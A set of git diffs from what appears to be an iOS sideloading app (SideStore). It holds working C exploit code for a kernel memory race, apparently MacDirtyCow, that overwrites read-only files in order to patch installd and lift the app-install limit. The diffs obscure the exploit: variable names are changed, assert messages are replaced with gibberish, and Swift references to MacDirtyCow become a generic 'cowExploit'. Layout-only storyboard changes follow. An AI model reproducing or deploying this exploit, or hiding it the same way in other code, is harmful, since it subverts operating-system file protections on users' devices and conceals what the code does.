||||
#define T_QUIET
|
||||
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||
@@ -27,39 +28,40 @@
|
||||
#define T_DECL(a, b) static void a(void)
|
||||
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
|
||||
struct context1 {
|
||||
vm_size_t obj_size;
|
||||
vm_address_t e0;
|
||||
mach_port_t mem_entry_ro;
|
||||
mach_port_t mem_entry_rw;
|
||||
dispatch_semaphore_t running_sem;
|
||||
pthread_mutex_t mtx;
|
||||
volatile bool done;
|
||||
struct contextual_structure {
|
||||
vm_size_t ob_sizing;
|
||||
vm_address_t vmaddress_zeroe;
|
||||
mach_port_t memory_entry_r_o;
|
||||
mach_port_t memory_entry_r_w;
|
||||
dispatch_semaphore_t currently_active_sem;
|
||||
pthread_mutex_t mutex_thingy;
|
||||
volatile bool finished;
|
||||
};
|
||||
|
||||
//switcheroo_thread
|
||||
static void *
|
||||
switcheroo_thread(__unused void *arg)
|
||||
sro_thread(__unused void *arg)
|
||||
{
|
||||
kern_return_t kr;
|
||||
struct context1 *ctx;
|
||||
struct contextual_structure *ctx;
|
||||
|
||||
ctx = (struct context1 *)arg;
|
||||
ctx = (struct contextual_structure *)arg;
|
||||
/* tell main thread we're ready to run */
|
||||
dispatch_semaphore_signal(ctx->running_sem);
|
||||
while (!ctx->done) {
|
||||
dispatch_semaphore_signal(ctx->currently_active_sem);
|
||||
while (!ctx->finished) {
|
||||
/* wait for main thread to be done setting things up */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
if (ctx->done) {
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
if (ctx->finished) {
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
break;
|
||||
}
|
||||
/* switch e0 to RW mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_rw,
|
||||
ctx->memory_entry_r_w,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
@@ -70,11 +72,11 @@ switcheroo_thread(__unused void *arg)
|
||||
usleep(100);
|
||||
/* switch bakc to original RO mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
@@ -82,13 +84,14 @@ switcheroo_thread(__unused void *arg)
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||
/* tell main thread we're don switching mappings */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
usleep(100);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||
//unaligned_copy_switch_race
|
||||
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
|
||||
bool retval = false;
|
||||
pthread_t th = NULL;
|
||||
int ret;
|
||||
@@ -100,79 +103,81 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
vm_size_t copied_size;
|
||||
int loops;
|
||||
vm_address_t e2, e5;
|
||||
struct context1 context1, *ctx;
|
||||
struct contextual_structure context1, *ctx;
|
||||
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||
vm_address_t ro_addr, tmp_addr;
|
||||
memory_object_size_t mo_size;
|
||||
|
||||
ctx = &context1;
|
||||
ctx->obj_size = 256 * 1024;
|
||||
ctx->ob_sizing = 256 * 1024;
|
||||
|
||||
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
|
||||
if (file_mapped == MAP_FAILED) {
|
||||
fprintf(stderr, "failed to map\n");
|
||||
// fprintf(stderr, "failed to map\n");
|
||||
return false;
|
||||
}
|
||||
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||
fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->obj_size);
|
||||
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
|
||||
// fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->ob_sizing);
|
||||
return true;
|
||||
}
|
||||
ro_addr = (vm_address_t)file_mapped;
|
||||
|
||||
ctx->e0 = 0;
|
||||
ctx->running_sem = dispatch_semaphore_create(0);
|
||||
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||
ctx->vmaddress_zeroe = 0;
|
||||
ctx->currently_active_sem = dispatch_semaphore_create(0);
|
||||
//c=dispatch_semaphore_create
|
||||
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
|
||||
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||
ctx->done = false;
|
||||
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||
ctx->finished = false;
|
||||
ctx->memory_entry_r_w = MACH_PORT_NULL;
|
||||
ctx->memory_entry_r_o = MACH_PORT_NULL;
|
||||
#if 0
|
||||
/* allocate our attack target memory */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&ro_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||
/* initialize to 'A' */
|
||||
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||
memset((char *)ro_addr, 'A', ctx->ob_sizing);
|
||||
#endif
|
||||
|
||||
/* make it read-only */
|
||||
kr = vm_protect(mach_task_self(),
|
||||
ro_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
TRUE, /* set_maximum */
|
||||
VM_PROT_READ);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||
/* make sure we can't get read-write handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_ro,
|
||||
&ctx->memory_entry_r_o,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||
/* take read-only handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||
&ctx->mem_entry_ro,
|
||||
&ctx->memory_entry_r_o,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
//c= wrong mem_entry size
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
|
||||
/* make sure we can't map target memory as writable */
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
@@ -182,10 +187,10 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
@@ -196,25 +201,26 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
/* allocate a source buffer for the unaligned copy */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e5,
|
||||
ctx->obj_size * 2,
|
||||
ctx->ob_sizing * 2,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||
/* initialize to 'C' */
|
||||
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||
memset((char *)e5, 'C', ctx->ob_sizing * 2);
|
||||
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
|
||||
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
|
||||
|
||||
int overwrite_first_diff_offset = -1;
|
||||
char overwrite_first_diff_value = 0;
|
||||
for (int off = 0; off < overwrite_length; off++) {
|
||||
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
|
||||
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||
overwrite_first_diff_offset = off;
|
||||
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||
}
|
||||
}
|
||||
if (overwrite_first_diff_offset == -1) {
|
||||
fprintf(stderr, "no diff?\n");
|
||||
//b=no diff?
|
||||
fprintf(stderr, "uewiyfih");
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -226,36 +232,37 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
tmp_addr = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||
/* initialize to 'D' */
|
||||
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
|
||||
/* get a memory entry handle for that RW memory */
|
||||
mo_size = ctx->obj_size;
|
||||
mo_size = ctx->ob_sizing;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
tmp_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_rw,
|
||||
&ctx->memory_entry_r_w,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||
//c=wrong mem_entry size
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||
tmp_addr = 0;
|
||||
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
|
||||
/* start racing thread */
|
||||
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
/* wait for racing thread to be ready to run */
|
||||
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
|
||||
|
||||
duration = 10; /* 10 seconds */
|
||||
T_LOG("Testing for %ld seconds...", duration);
|
||||
// T_LOG("Testing for %ld seconds...", duration);
|
||||
for (start = time(NULL), loops = 0;
|
||||
time(NULL) < start + duration;
|
||||
loops++) {
|
||||
@@ -263,27 +270,27 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
e2 = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
2 * ctx->obj_size,
|
||||
2 * ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||
|
||||
/* make 1st allocation in our reserved space */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||
/* initialize to 'B' */
|
||||
memset((char *)e2, 'B', ctx->obj_size);
|
||||
memset((char *)e2, 'B', ctx->ob_sizing);
|
||||
|
||||
/* map our read-only target memory right after */
|
||||
ctx->e0 = e2 + ctx->obj_size;
|
||||
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
@@ -292,14 +299,14 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||
|
||||
/* let the racing thread go */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
|
||||
/* trigger copy_unaligned while racing with other thread */
|
||||
kr = vm_read_overwrite(mach_task_self(),
|
||||
e5,
|
||||
ctx->obj_size - 1 + overwrite_length,
|
||||
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
|
||||
e2 + 1,
|
||||
&copied_size);
|
||||
T_QUIET;
|
||||
@@ -321,42 +328,43 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
}
|
||||
/* check that our read-only memory was not modified */
|
||||
#if 0
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||
//c = RO mapping was modified
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
|
||||
#endif
|
||||
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||
|
||||
/* tell racing thread to stop toggling mappings */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
|
||||
/* clean up before next loop */
|
||||
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||
ctx->e0 = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
|
||||
ctx->vmaddress_zeroe = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
|
||||
e2 = 0;
|
||||
if (!is_still_equal) {
|
||||
retval = true;
|
||||
fprintf(stderr, "RO mapping was modified\n");
|
||||
// fprintf(stderr, "RO mapping was modified\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ctx->done = true;
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
ctx->finished = true;
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
pthread_join(th, NULL);
|
||||
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||
|
||||
#if 0
|
||||
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
kern_success, kern_protection_failure, kern_other);
|
||||
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
#endif
|
||||
//#if 0
|
||||
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
// kern_success, kern_protection_failure, kern_other);
|
||||
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
//#endif
|
||||
return retval;
|
||||
}
|
||||
@@ -5,4 +5,4 @@
|
||||
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);
|
||||
@@ -964,10 +964,10 @@ private extension MyAppsViewController
|
||||
{
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
|
||||
|
||||
if UserDefaults.standard.enableMacDirtyCowExploit
|
||||
if UserDefaults.standard.enableCowExploit
|
||||
{
|
||||
message += "\n\n"
|
||||
message += NSLocalizedString("If you're using the MacDirtyCow exploit to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
|
||||
message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
|
||||
}
|
||||
}
|
||||
else
|
||||
|
||||
@@ -161,23 +161,23 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
else if res == -15
|
||||
{
|
||||
// try again
|
||||
if UserDefaults.standard.enableMacDirtyCowExploit && UserDefaults.standard.isMacDirtyCowSupported
|
||||
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
|
||||
{
|
||||
patch3AppLimit
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .success:
|
||||
UserDefaults.standard.set(bootTime(), forKey: "mdcRanBootTime")
|
||||
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||
print("patched sucessfully")
|
||||
case .failure(let err):
|
||||
switch err
|
||||
{
|
||||
case .NoFDA:
|
||||
self.finish(.failure(OperationError.mdcNoFDA))
|
||||
self.finish(.failure(OperationError.cowExploitNoFDA))
|
||||
return
|
||||
case .FailedPatchd:
|
||||
self.finish(.failure(OperationError.mdcFailedPatchd))
|
||||
self.finish(.failure(OperationError.cowExploitFailedPatchd))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
@@ -44,8 +44,8 @@ enum OperationError: LocalizedError {
|
||||
case functionArguments
|
||||
case profileInstall
|
||||
case noConnection
|
||||
case mdcNoFDA
|
||||
case mdcFailedPatchd
|
||||
case cowExploitNoFDA
|
||||
case cowExploitFailedPatchd
|
||||
|
||||
var failureReason: String? {
|
||||
switch self {
|
||||
@@ -74,8 +74,8 @@ enum OperationError: LocalizedError {
|
||||
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
||||
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||
case .mdcNoFDA: return NSLocalizedString("Unable to get Full Disk Access using MDC.", comment: "")
|
||||
case .mdcFailedPatchd: return NSLocalizedString("Unable to patch installd using MDC.", comment: "")
|
||||
case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "")
|
||||
case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
||||
<rect key="frame" x="0.0" y="1206" width="375" height="25"/>
|
||||
<rect key="frame" x="0.0" y="1234" width="375" height="25"/>
|
||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
@@ -359,22 +359,22 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
|
||||
<rect key="frame" x="30" y="15.5" width="89" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
|
||||
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
|
||||
<rect key="frame" x="198" y="15.5" width="147" height="20.5"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
|
||||
<rect key="frame" x="0.0" y="0.0" width="115" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="e3L-vR-Jae">
|
||||
<rect key="frame" x="129" y="0.0" width="18" height="20.5"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -403,22 +403,22 @@
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Asset Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="fGU-Fp-XgM">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Asset Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="fGU-Fp-XgM">
|
||||
<rect key="frame" x="30" y="15.5" width="115.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="R8B-DW-7mY">
|
||||
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="R8B-DW-7mY">
|
||||
<rect key="frame" x="206" y="15.5" width="139" height="20.5"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Chris (LitRitt)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hId-3P-41T">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Chris (LitRitt)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hId-3P-41T">
|
||||
<rect key="frame" x="0.0" y="0.0" width="107" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="baq-cE-fMY">
|
